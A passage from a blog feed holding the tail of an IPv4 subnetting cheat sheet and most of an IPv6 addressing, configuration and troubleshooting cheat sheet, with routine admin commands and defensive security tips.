<li>Calculate required host bits per group with headroom for growth — I typically double the current count before calculating.</li>



<li>Assign VLSM subnets and matching VLAN IDs.</li>



<li>Update DHCP scopes and gateway addresses per VLAN.</li>



<li>Update firewall rules to reflect new subnet boundaries before decommissioning the old flat network.</li>
</ol>



<p class="wp-block-paragraph"><strong>Troubleshooting &#8220;can&#8217;t reach a device on the same subnet&#8221;:</strong> Check the subnet mask on both devices first — a mismatched mask is the single most common cause of this exact symptom, since one device may calculate a different network boundary than the other even with IPs that look like they&#8217;re close together.</p>



<h2 class="wp-block-heading">14. Common Subnetting Mistakes to Avoid</h2>



<ul class="wp-block-list">
<li>Forgetting to reserve the network and broadcast addresses when counting usable hosts.</li>



<li>Assuming a &#8220;slash&#8221; number without converting it to actual usable host count, then running out of room after allocation.</li>



<li>Using equal-sized subnets everywhere instead of VLSM, wasting large amounts of address space.</li>



<li>Mismatched subnet masks between two devices that are supposed to be on the same network, causing one-directional or intermittent connectivity.</li>



<li>Assigning static IPs from inside an active DHCP pool, causing conflicts.</li>



<li>Confusing wildcard masks (used in ACLs) with subnet masks — they&#8217;re inverses of each other, and mixing them up breaks firewall rules silently.</li>



<li>Overlapping subnet ranges when connecting two previously separate networks via VPN, causing routing conflicts that are painful to diagnose after the fact.</li>
</ul>



<h2 class="wp-block-heading">15. FAQs</h2>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the difference between a subnet mask and a wildcard mask?</strong> A subnet mask defines the network/host boundary and its octets increase from the left (255.255.255.0). A wildcard mask, used in ACLs and OSPF, is essentially its inverse (0.0.0.255) and defines which bits are allowed to vary.</p>



<p class="wp-block-paragraph"><strong>Q: Why do we lose 2 addresses per subnet?</strong> The first address in any subnet is reserved as the network address (identifies the subnet itself), and the last is reserved as the broadcast address (used to reach every host on that subnet at once). Neither can be assigned to a device.</p>



<p class="wp-block-paragraph"><strong>Q: What is CIDR and why did it replace classful addressing?</strong> CIDR (Classless Inter-Domain Routing) allows arbitrary prefix lengths instead of rigid class-based boundaries, which drastically reduced address waste and slowed the exhaustion of the IPv4 address space.</p>



<p class="wp-block-paragraph"><strong>Q: Can two devices on different subnets communicate directly?</strong> No — they need a router (or a Layer 3 switch) to route traffic between subnets. Devices only communicate directly at Layer 2 when they&#8217;re on the same subnet.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s a /31 actually used for if it only has 2 addresses?</strong> RFC 3021 specifically allows /31 for point-to-point links (like router-to-router WAN links), where you don&#8217;t need a separate network and broadcast address since there are only ever two devices involved.</p>



<p class="wp-block-paragraph"><strong>Q: How do I quickly tell if two IPs are on the same subnet?</strong> Convert both to binary along with the subnet mask, and compare the network portion (the bits covered by the mask). If those bits match, they&#8217;re on the same subnet regardless of how different the host portion looks.</p>



<p class="wp-block-paragraph"><strong>Q: Is IPv4 address exhaustion still a real problem?</strong> Yes — the global pool of available public IPv4 addresses has effectively been fully allocated for years, which is exactly why CGNAT, IPv6 adoption, and efficient VLSM subnetting all matter as much as they do today.</p>



<h2 class="wp-block-heading">16. Interview Questions and Answers</h2>



<p class="wp-block-paragraph"><strong>Q: How many usable hosts are in a /27 subnet, and how do you calculate it?</strong> A: 30 usable hosts. A /27 leaves 5 host bits (32 &#8211; 27 = 5), so 2^5 = 32 total addresses, minus 2 for network and broadcast = 30 usable.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the difference between a public and private IP address?</strong> A: Public IPs are globally unique and routable across the internet. Private IPs (from ranges like 10.0.0.0/8 or 192.168.0.0/16) are only valid within a local network and require NAT to reach the internet.</p>



<p class="wp-block-paragraph"><strong>Q: Explain VLSM and why it&#8217;s preferred over fixed-length subnetting.</strong> A: VLSM allows different subnet sizes within the same address block, matched to actual host requirements, which avoids the address waste that comes from forcing every subnet to the same size regardless of need.</p>



<p class="wp-block-paragraph"><strong>Q: What happens if two devices have mismatched subnet masks?</strong> A: They may calculate different network boundaries for the same IP range, leading to devices believing they&#8217;re on different networks even when they&#8217;re physically on the same segment — causing intermittent or one-way connectivity issues.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the purpose of the default gateway?</strong> A: It&#8217;s the router address a device sends traffic to when the destination isn&#8217;t on its own local subnet — effectively the exit point to reach other networks, including the internet.</p>



<p class="wp-block-paragraph"><strong>Q: What is APIPA and when does it appear?</strong> A: Automatic Private IP Addressing — a 169.254.x.x address a Windows device self-assigns when it can&#8217;t reach a DHCP server, letting local link communication continue but signaling no valid network configuration was obtained.</p>



<p class="wp-block-paragraph"><strong>Q: How would you subnet a /24 to support 6 subnets with at least 25 hosts each?</strong> A: 25 hosts needs 5 host bits (2^5 &#8211; 2 = 30 usable), giving a /27, which yields 8 possible subnets from a /24 — comfortably covering the requirement for 6.</p>



<h2 class="wp-block-heading">17. Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>CIDR QUICK TABLE
/24 = 255.255.255.0     = 254 hosts
/25 = 255.255.255.128   = 126 hosts
/26 = 255.255.255.192   = 62 hosts
/27 = 255.255.255.224   = 30 hosts
/28 = 255.255.255.240   = 14 hosts
/29 = 255.255.255.248   = 6 hosts
/30 = 255.255.255.252   = 2 hosts
/31 = 255.255.255.254   = 2 hosts (point-to-point)
/32 = 255.255.255.255   = 1 host

PRIVATE RANGES (RFC 1918)
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

SPECIAL ADDRESSES
127.0.0.0/8      loopback
169.254.0.0/16   APIPA
0.0.0.0          default route
255.255.255.255  limited broadcast

CORE COMMANDS
ipconfig /all              Windows IP config
ip addr show               Linux IP config
ifconfig                   macOS/legacy IP config
ping &lt;ip&gt;                  connectivity test
tracert / traceroute &lt;ip&gt;  path trace
arp -a                     ARP table
netstat -an / ss -tulnp    connection state

SUBNETTING METHOD
1. Determine host bits needed (2^n - 2 &gt;= required hosts)
2. New prefix = 32 - host bits
3. Block size = 2^(host bits)
4. Count subnets in that increment from the base network
</code></pre>



<h2 class="wp-block-heading">18. Official Documentation Links</h2>



<ul class="wp-block-list">
<li>IETF RFC 791 (Internet Protocol): https://www.rfc-editor.org/rfc/rfc791</li>



<li>IETF RFC 1918 (Private Address Space): https://www.rfc-editor.org/rfc/rfc1918</li>



<li>IETF RFC 3021 (/31 Point-to-Point Links): https://www.rfc-editor.org/rfc/rfc3021</li>



<li>IANA IPv4 Address Space Registry: https://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xhtml</li>



<li>IANA Special-Purpose Address Registry: https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml</li>



<li>Cisco Subnetting Reference Guide: https://www.cisco.com/c/en/us/support/docs/ip/routing-information-protocol-rip/13788-3.html</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">Subnetting stops being intimidating the moment the binary math becomes muscle memory instead of a lookup exercise. Work through the step-by-step method a few times with real numbers, keep the CIDR table nearby until you don&#8217;t need it anymore, and the rest falls into place. Save this page — between the tables and the troubleshooting playbook, it covers the situations that come up again and again.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-ipv4-cheat-sheet/">Ultimate IPv4 Cheat Sheet: Subnetting, Addressing, and Configuration Reference</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/ultimate-ipv4-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6018</post-id>	</item>
		<item>
		<title>Ultimate IPv6 Cheat Sheet: Addressing, Subnetting, and Configuration Guide</title>
		<link>https://awjunaid.com/cheatsheet/ultimate-ipv6-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/ultimate-ipv6-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 21 Sep 2023 19:59:27 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=6015</guid>

					<description><![CDATA[<p>I&#8217;ve spent more hours than I&#8217;d like to admit staring at hexadecimal address blocks trying to remember whether&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-ipv6-cheat-sheet/">Ultimate IPv6 Cheat Sheet: Addressing, Subnetting, and Configuration Guide</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">I&#8217;ve spent more hours than I&#8217;d like to admit staring at hexadecimal address blocks trying to remember whether <code>fe80::</code> was link-local or unique local. If you&#8217;ve ever felt the same way, this cheat sheet is the one I wish existed when I started working seriously with IPv6. I&#8217;ve packed it with the syntax, commands, tables, and troubleshooting steps I actually use day to day, so you can bookmark this page and stop Googling the same things over and over.</p>



<h2 class="wp-block-heading">Why IPv6 Still Trips People Up</h2>



<p class="wp-block-paragraph">IPv4 exhaustion pushed IPv6 adoption, but the learning curve is real. The address space is enormous (2^128 addresses), the notation is unfamiliar, and the tooling is slightly different from what most of us grew up on. Once the fundamentals click, though, IPv6 is actually more logical than IPv4 subnetting ever was. Let&#8217;s get into it.</p>



<h2 class="wp-block-heading">IPv6 Address Format Basics</h2>



<p class="wp-block-paragraph">An IPv6 address is 128 bits long, written as eight groups of four hexadecimal digits, separated by colons.</p>



<pre class="wp-block-code"><code>2001:0db8:0000:0042:0000:8a2e:0370:7334
</code></pre>



<p class="wp-block-paragraph">A few compression rules make this easier to read and write:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Rule</th><th>Example Before</th><th>Example After</th></tr></thead><tbody><tr><td>Leading zeros in a group can be dropped</td><td><code>0db8</code></td><td><code>db8</code></td></tr><tr><td>One consecutive run of all-zero groups can be replaced with <code>::</code></td><td><code>2001:0db8:0000:0000:0000:0000:0000:0001</code></td><td><code>2001:db8::1</code></td></tr><tr><td><code>::</code> can only be used once per address</td><td>N/A</td><td>Prevents ambiguity</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">So the address above compresses to:</p>



<pre class="wp-block-code"><code>2001:db8:0:42:0:8a2e:370:7334
</code></pre>



<h3 class="wp-block-heading">Quick Notation Cheat Sheet</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Notation</th><th>Meaning</th></tr></thead><tbody><tr><td><code>::</code></td><td>All zeros compressed (shorthand, used once max)</td></tr><tr><td><code>::1</code></td><td>Loopback address (equivalent to IPv4&#8217;s 127.0.0.1)</td></tr><tr><td><code>::</code></td><td>Unspecified address (equivalent to IPv4&#8217;s 0.0.0.0)</td></tr><tr><td><code>fe80::/10</code></td><td>Link-local prefix</td></tr><tr><td><code>fc00::/7</code></td><td>Unique local address (ULA) prefix</td></tr><tr><td><code>2000::/3</code></td><td>Global unicast prefix range</td></tr><tr><td><code>ff00::/8</code></td><td>Multicast prefix</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IPv6 Address Types</h2>



<p class="wp-block-paragraph">This is the part I see confused most often, so I&#8217;ve broken it into a clean reference table.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Address Type</th><th>Prefix</th><th>Scope</th><th>Typical Use</th></tr></thead><tbody><tr><td>Global Unicast Address (GUA)</td><td><code>2000::/3</code></td><td>Internet-routable</td><td>Public-facing servers, WAN interfaces</td></tr><tr><td>Unique Local Address (ULA)</td><td><code>fc00::/7</code></td><td>Private, site-local</td><td>Internal networks, similar to RFC1918 in IPv4</td></tr><tr><td>Link-Local Address (LLA)</td><td><code>fe80::/10</code></td><td>Single link only</td><td>Neighbor discovery, routing protocols</td></tr><tr><td>Multicast</td><td><code>ff00::/8</code></td><td>Group communication</td><td>Router/DHCP discovery, streaming</td></tr><tr><td>Anycast</td><td>Assigned from unicast range</td><td>Nearest node in a group</td><td>CDN nodes, DNS root servers</td></tr><tr><td>Loopback</td><td><code>::1/128</code></td><td>Local host only</td><td>Testing, local services</td></tr><tr><td>Unspecified</td><td><code>::/128</code></td><td>Placeholder</td><td>Used before an address is assigned</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">A quick note on multicast: IPv6 doesn&#8217;t use broadcast at all. Every function that ARP and broadcast handled in IPv4 (like discovering neighbors) is done through multicast and the Neighbor Discovery Protocol (NDP) instead.</p>



<h2 class="wp-block-heading">IPv6 Subnetting Explained</h2>



<p class="wp-block-paragraph">Subnetting in IPv6 is simpler than IPv4 in one big way: you almost never have to do bit-level math for host addresses, because the host portion is fixed at 64 bits in virtually every standard deployment.</p>



<h3 class="wp-block-heading">Standard Structure</h3>



<pre class="wp-block-code"><code>| 48 bits: Global Routing Prefix | 16 bits: Subnet ID | 64 bits: Interface ID |
</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Component</th><th>Bits</th><th>Purpose</th></tr></thead><tbody><tr><td>Global Routing Prefix</td><td>Typically /48</td><td>Assigned by your ISP or RIR</td></tr><tr><td>Subnet ID</td><td>16 bits</td><td>Lets you create up to 65,536 subnets</td></tr><tr><td>Interface ID</td><td>64 bits</td><td>Host portion, often auto-generated</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Common Prefix Lengths</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Prefix</th><th>Use Case</th></tr></thead><tbody><tr><td>/48</td><td>Standard allocation to a site/organization</td></tr><tr><td>/56</td><td>Common allocation for small sites or home use (256 /64 subnets)</td></tr><tr><td>/64</td><td>Standard subnet size for a single LAN segment</td></tr><tr><td>/127</td><td>Point-to-point links (router-to-router)</td></tr><tr><td>/128</td><td>Single host address</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Subnetting Example</h3>



<p class="wp-block-paragraph">Say your ISP hands you a <code>/48</code>: <code>2001:db8:1234::/48</code></p>



<p class="wp-block-paragraph">You want to carve out subnets for different departments:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Subnet</th><th>Address Range</th></tr></thead><tbody><tr><td>Sales</td><td><code>2001:db8:1234:0001::/64</code></td></tr><tr><td>Engineering</td><td><code>2001:db8:1234:0002::/64</code></td></tr><tr><td>Guest Wi-Fi</td><td><code>2001:db8:1234:0003::/64</code></td></tr><tr><td>Server VLAN</td><td><code>2001:db8:1234:0004::/64</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Since the subnet ID is 16 bits, you have 65,536 possible /64 networks to work with from a single /48. That&#8217;s not a typo — IPv6 subnetting is designed to be generous so nobody has to ration addresses the way we did with IPv4.</p>



<h3 class="wp-block-heading">Quick Subnetting Math Reference</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Prefix Difference</th><th>Number of Subnets Created</th></tr></thead><tbody><tr><td>/48 to /56</td><td>256 subnets</td></tr><tr><td>/48 to /64</td><td>65,536 subnets</td></tr><tr><td>/56 to /64</td><td>256 subnets</td></tr><tr><td>/64 to /127</td><td>Used for point-to-point, no further subnetting practical</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Configuring IPv6 on Common Platforms</h2>



<h3 class="wp-block-heading">Linux (using <code>ip</code> command)</h3>



<pre class="wp-block-code"><code># Assign an IPv6 address to an interface
sudo ip -6 addr add 2001:db8:1234:1::1/64 dev eth0

# Bring the interface up
sudo ip link set eth0 up

# Add a default IPv6 route
sudo ip -6 route add default via 2001:db8:1234:1::fffe

# View all IPv6 addresses
ip -6 addr show

# View the IPv6 routing table
ip -6 route show
</code></pre>



<p class="wp-block-paragraph">Expected output for <code>ip -6 addr show</code>:</p>



<pre class="wp-block-code"><code>2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500
    inet6 2001:db8:1234:1::1/64 scope global
    inet6 fe80::a00:27ff:fe4e:66a1/64 scope link
</code></pre>



<h3 class="wp-block-heading">Windows (using PowerShell)</h3>



<pre class="wp-block-code"><code># View IPv6 configuration
Get-NetIPAddress -AddressFamily IPv6

# Assign a new IPv6 address
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 2001:db8:1234:1::1 -PrefixLength 64

# Set a default gateway
New-NetRoute -InterfaceAlias "Ethernet" -DestinationPrefix "::/0" -NextHop 2001:db8:1234:1::fffe

# Disable IPv6 temporarily on an adapter
Disable-NetAdapterBinding -Name "Ethernet" -ComponentID ms_tcpip6
</code></pre>



<h3 class="wp-block-heading">Cisco IOS</h3>



<pre class="wp-block-code"><code>interface GigabitEthernet0/1
 ipv6 address 2001:db8:1234:1::1/64
 ipv6 enable
 no shutdown

ipv6 unicast-routing
ipv6 route ::/0 2001:db8:1234:1::fffe
</code></pre>



<p class="wp-block-paragraph">Verify with:</p>



<pre class="wp-block-code"><code>show ipv6 interface brief
show ipv6 route
</code></pre>



<h3 class="wp-block-heading">macOS</h3>



<pre class="wp-block-code"><code># View IPv6 addresses
ifconfig en0 | grep inet6

# Manually configure an interface
sudo networksetup -setv6manual "Wi-Fi" 2001:db8:1234:1::1 64 2001:db8:1234:1::fffe
</code></pre>



<h2 class="wp-block-heading">Neighbor Discovery Protocol (NDP) in Depth</h2>



<p class="wp-block-paragraph">NDP is the backbone of how IPv6 hosts find each other, discover routers, and detect duplicate addresses. It replaces ARP, ICMP Router Discovery, and ICMP Redirect from the IPv4 world, all rolled into ICMPv6 messages.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>NDP Message Type</th><th>ICMPv6 Type</th><th>Purpose</th></tr></thead><tbody><tr><td>Router Solicitation (RS)</td><td>133</td><td>Host asks for a Router Advertisement immediately, rather than waiting</td></tr><tr><td>Router Advertisement (RA)</td><td>134</td><td>Router announces itself, its prefix, and configuration options</td></tr><tr><td>Neighbor Solicitation (NS)</td><td>135</td><td>Host asks &#8220;who has this address&#8221; (like ARP request)</td></tr><tr><td>Neighbor Advertisement (NA)</td><td>136</td><td>Host responds with its Layer 2 address (like ARP reply)</td></tr><tr><td>Redirect</td><td>137</td><td>Router tells a host a better next hop exists for a destination</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">I think of NDP as doing three jobs at once: address autoconfiguration, address resolution, and router discovery. When something feels &#8220;off&#8221; with IPv6 connectivity and nothing else explains it, checking that these five message types are actually flowing is usually where I look first.</p>



<h3 class="wp-block-heading">Duplicate Address Detection (DAD)</h3>



<p class="wp-block-paragraph">Before a host starts using any unicast address, it sends a Neighbor Solicitation for its own tentative address. If nobody responds, the address is considered unique and moves to a &#8220;preferred&#8221; state. If another host responds, the address is marked as a duplicate and won&#8217;t be used. This is why a misconfigured static address on two devices can cause one or both machines to lose connectivity entirely rather than just conflicting quietly the way IPv4 sometimes does.</p>



<h2 class="wp-block-heading">IPv6 Routing Protocol Notes</h2>



<p class="wp-block-paragraph">If you&#8217;re managing routed IPv6 networks rather than just host configuration, a few protocol-specific details are worth keeping handy.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Protocol</th><th>IPv6 Support Notes</th></tr></thead><tbody><tr><td>OSPFv3</td><td>Built specifically for IPv6, runs over link-local addresses, still uses areas and LSAs conceptually like OSPFv2</td></tr><tr><td>EIGRP for IPv6</td><td>Cisco-proprietary, configured per-interface with <code>ipv6 eigrp</code></td></tr><tr><td>BGP</td><td>Uses separate address families (<code>address-family ipv6 unicast</code>) to carry IPv6 routes alongside IPv4</td></tr><tr><td>RIPng</td><td>RIP&#8217;s IPv6 successor, still uses hop-count limits, rarely used in modern networks</td></tr><tr><td>IS-IS</td><td>Supports IPv6 through additional TLVs, common in large service provider backbones</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">A quick Cisco BGP example for enabling an IPv6 address family:</p>



<pre class="wp-block-code"><code>router bgp 65001
 neighbor 2001:db8::2 remote-as 65002
 address-family ipv6
  neighbor 2001:db8::2 activate
 exit-address-family
</code></pre>



<h2 class="wp-block-heading">SLAAC vs DHCPv6 (Know the Difference)</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Method</th><th>How It Works</th><th>Provides DNS?</th><th>Common Use</th></tr></thead><tbody><tr><td>SLAAC (Stateless Address Autoconfiguration)</td><td>Host generates its own address from the Router Advertisement prefix</td><td>Only with RDNSS option</td><td>Simple networks, IoT devices</td></tr><tr><td>DHCPv6 Stateful</td><td>Server assigns the full address</td><td>Yes</td><td>Enterprise networks needing central control</td></tr><tr><td>DHCPv6 Stateless</td><td>Host uses SLAAC for address, DHCPv6 for extra info (DNS, NTP)</td><td>Yes</td><td>Hybrid setups</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Verification and Diagnostic Commands</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Platform</th><th>Purpose</th></tr></thead><tbody><tr><td><code>ping6 2001:db8::1</code> or <code>ping -6 2001:db8::1</code></td><td>Linux/Windows</td><td>Test reachability</td></tr><tr><td><code>traceroute6 2001:db8::1</code></td><td>Linux/macOS</td><td>Trace the path to a destination</td></tr><tr><td><code>tracert -6 2001:db8::1</code></td><td>Windows</td><td>Trace the path to a destination</td></tr><tr><td><code>ip -6 neigh show</code></td><td>Linux</td><td>View the IPv6 neighbor table (like ARP)</td></tr><tr><td><code>netsh interface ipv6 show neighbors</code></td><td>Windows</td><td>View neighbor cache</td></tr><tr><td><code>show ipv6 neighbors</code></td><td>Cisco IOS</td><td>View neighbor discovery cache</td></tr><tr><td><code>ss -6 -tuln</code></td><td>Linux</td><td>List listening IPv6 sockets</td></tr><tr><td><code>netstat -6</code></td><td>Windows</td><td>Show IPv6 connections</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Transition Mechanisms</h2>



<p class="wp-block-paragraph">Most networks aren&#8217;t pure IPv6 yet, so you&#8217;ll run into these transition strategies constantly:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Mechanism</th><th>Description</th><th>When You&#8217;d Use It</th></tr></thead><tbody><tr><td>Dual Stack</td><td>Run IPv4 and IPv6 simultaneously on the same interface</td><td>Most common approach today</td></tr><tr><td>6to4 Tunneling</td><td>Encapsulates IPv6 traffic inside IPv4 packets</td><td>Legacy transition, largely deprecated</td></tr><tr><td>Teredo</td><td>Tunnels IPv6 through NAT&#8217;d IPv4 networks</td><td>Windows client fallback (mostly legacy)</td></tr><tr><td>NAT64/DNS64</td><td>Lets IPv6-only clients reach IPv4-only servers</td><td>Mobile carrier networks, IPv6-only rollouts</td></tr><tr><td>ISATAP</td><td>Tunnels IPv6 over an IPv4 intranet</td><td>Enterprise transition scenarios</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IPv6 in Cloud Environments</h2>



<p class="wp-block-paragraph">Since so much of my own work happens in cloud environments these days, I think this deserves its own quick section rather than being buried in configuration commands.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Provider</th><th>IPv6 Notes</th></tr></thead><tbody><tr><td>AWS</td><td>VPCs support dual-stack IPv6 CIDR blocks (typically /56, subnets /64); Amazon assigns the block, you can&#8217;t bring your own by default</td></tr><tr><td>Azure</td><td>Supports dual-stack virtual networks; IPv6 public IPs are standard SKU only</td></tr><tr><td>Google Cloud</td><td>VPC subnets can be dual-stack; external IPv6 ranges are provider-assigned /96 blocks per instance in some configurations</td></tr><tr><td>Cloudflare</td><td>Full IPv6 support at the edge by default, often the easiest way to add IPv6 reachability to a site without touching backend infrastructure</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">A pattern I see often: teams add IPv6 to the load balancer or CDN layer first (an easy win), while backend services stay IPv4-only for a while longer behind NAT64 or a proxy. That&#8217;s a completely reasonable way to phase in support without a big-bang migration.</p>



<h2 class="wp-block-heading">Useful IPv6 Tools and Utilities</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tool</th><th>Purpose</th></tr></thead><tbody><tr><td><code>ping6</code> / <code>ping -6</code></td><td>Basic reachability testing</td></tr><tr><td><code>traceroute6</code> / <code>tracert -6</code></td><td>Path tracing</td></tr><tr><td><code>ip -6</code> (Linux <code>iproute2</code>)</td><td>Address, route, and neighbor management</td></tr><tr><td><code>radvd</code></td><td>Linux daemon for sending Router Advertisements</td></tr><tr><td><code>dibbler</code></td><td>Cross-platform DHCPv6 server/client</td></tr><tr><td><code>sipcalc</code></td><td>Command-line subnet calculator with IPv6 support</td></tr><tr><td><code>nmap -6</code></td><td>Network scanning with IPv6 targets</td></tr><tr><td><code>dig AAAA</code></td><td>Query DNS for IPv6 address records</td></tr><tr><td>test-ipv6.com</td><td>Browser-based connectivity test for dual-stack setups</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Example subnet calculation with <code>sipcalc</code>:</p>



<pre class="wp-block-code"><code>sipcalc 2001:db8:1234::/48 -s 64
</code></pre>



<p class="wp-block-paragraph">This breaks a /48 down into /64 subnets and shows you exactly how many you get and their ranges, which saves a lot of manual hex math.</p>



<h2 class="wp-block-heading">Security Tips for IPv6</h2>



<p class="wp-block-paragraph">I can&#8217;t stress this enough: a lot of networks accidentally leave IPv6 wide open because firewall rules were written for IPv4 only. Don&#8217;t let that be you.</p>



<ul class="wp-block-list">
<li><strong>Don&#8217;t assume IPv6 is disabled just because you didn&#8217;t configure it.</strong> Most modern OSes enable it by default, and it can bypass IPv4-only firewall rules entirely.</li>



<li><strong>Filter ICMPv6 carefully, not entirely.</strong> Unlike ICMPv4, ICMPv6 is required for core functions like Neighbor Discovery and Path MTU Discovery. Blocking it all will break your network.</li>



<li><strong>Enable RA Guard</strong> on switches to prevent rogue Router Advertisements from redirecting traffic or causing DoS via bogus default gateways.</li>



<li><strong>Use DHCPv6 Guard</strong> to block unauthorized DHCPv6 servers on your LAN.</li>



<li><strong>Watch for Privacy Extensions (RFC 4941).</strong> These randomize the interface ID for outbound connections, which helps privacy but can complicate logging and asset tracking.</li>



<li><strong>Apply the same ACL discipline as IPv4.</strong> Every IPv6-enabled interface needs its own access control, don&#8217;t just mirror IPv4 rules and assume coverage.</li>



<li><strong>Disable unnecessary tunneling protocols</strong> like Teredo and 6to4 unless you have a specific need — they can be used to bypass perimeter defenses.</li>
</ul>



<h2 class="wp-block-heading">Troubleshooting Checklist</h2>



<p class="wp-block-paragraph">When IPv6 connectivity breaks, I work through this order:</p>



<ol class="wp-block-list">
<li><strong>Check the link-local address first.</strong> If <code>fe80::</code> isn&#8217;t present on the interface, IPv6 isn&#8217;t even minimally functional there.</li>



<li><strong>Verify Router Advertisements are being received.</strong> Use <code>ip -6 route show</code> (Linux) or <code>show ipv6 route</code> (Cisco) to confirm a default route learned via RA.</li>



<li><strong>Confirm the global address was assigned.</strong> Check for a <code>2000::/3</code> range address via SLAAC or DHCPv6.</li>



<li><strong>Test with ping6 to the gateway, then to an external address.</strong> This isolates whether the issue is local or upstream.</li>



<li><strong>Check firewall rules for ICMPv6.</strong> A blocked Neighbor Solicitation/Advertisement will silently break connectivity.</li>



<li><strong>Look at the neighbor table.</strong> If <code>ip -6 neigh show</code> shows <code>FAILED</code> states, Layer 2 resolution is the problem.</li>



<li><strong>Verify DNS resolution for AAAA records.</strong> <code>dig AAAA example.com</code> confirms whether DNS is returning IPv6 records at all.</li>
</ol>



<h3 class="wp-block-heading">Common Error Table</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Symptom</th><th>Likely Cause</th><th>Fix</th></tr></thead><tbody><tr><td>No link-local address</td><td>Interface down or IPv6 disabled</td><td>Bring interface up, re-enable IPv6</td></tr><tr><td>Address assigned but no internet</td><td>Missing default route from RA</td><td>Check router&#8217;s RA configuration</td></tr><tr><td>Intermittent connectivity</td><td>Duplicate Address Detection (DAD) conflict</td><td>Check for duplicate manually-assigned addresses</td></tr><tr><td>DNS resolves but connection times out</td><td>Firewall blocking IPv6 traffic specifically</td><td>Update firewall rules to include IPv6</td></tr><tr><td>Neighbor discovery failing</td><td>ICMPv6 blocked on switch/firewall</td><td>Allow ICMPv6 types 133-136</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Best Practices</h2>



<ul class="wp-block-list">
<li>Always allocate at least a <code>/64</code> per subnet — anything smaller breaks SLAAC and many standard features.</li>



<li>Document your subnetting scheme before deployment; unlike IPv4, you have so much space that inconsistent allocation becomes its own management headache.</li>



<li>Use ULA (<code>fc00::/7</code>) for internal-only communication when you don&#8217;t need global routability.</li>



<li>Keep DNS AAAA records in sync with your address plan from day one, don&#8217;t bolt it on later.</li>



<li>Test dual-stack failover regularly; a broken IPv6 path with a working IPv4 fallback can hide problems for months.</li>



<li>Standardize on either SLAAC or DHCPv6 per network segment to avoid inconsistent host configuration.</li>
</ul>



<h2 class="wp-block-heading">Real-World Use Cases</h2>



<ul class="wp-block-list">
<li><strong>ISPs delegating a /56 to home routers</strong>, letting each household create up to 256 subnets for smart home segmentation.</li>



<li><strong>Enterprises running dual stack</strong> during a multi-year migration, keeping IPv4 for legacy apps while shifting new services to IPv6-first.</li>



<li><strong>Mobile carriers using NAT64/DNS64</strong> to run IPv6-only core networks while still letting devices reach the IPv4 internet.</li>



<li><strong>Content delivery networks using anycast IPv6 addresses</strong> so users are routed to the nearest edge node automatically.</li>



<li><strong>IoT deployments using SLAAC</strong> because provisioning thousands of devices with DHCP leases isn&#8217;t practical.</li>
</ul>



<h2 class="wp-block-heading">Common Mistakes to Avoid</h2>



<ul class="wp-block-list">
<li>Assuming NAT is required in IPv6 — it isn&#8217;t, and trying to force NAT thinking behavior often complicates security architecture unnecessarily.</li>



<li>Forgetting to update firewall and monitoring rules to cover IPv6 traffic, not just IPv4.</li>



<li>Using subnet sizes smaller than /64, which breaks SLAAC and many IPv6 features that assume a 64-bit host portion.</li>



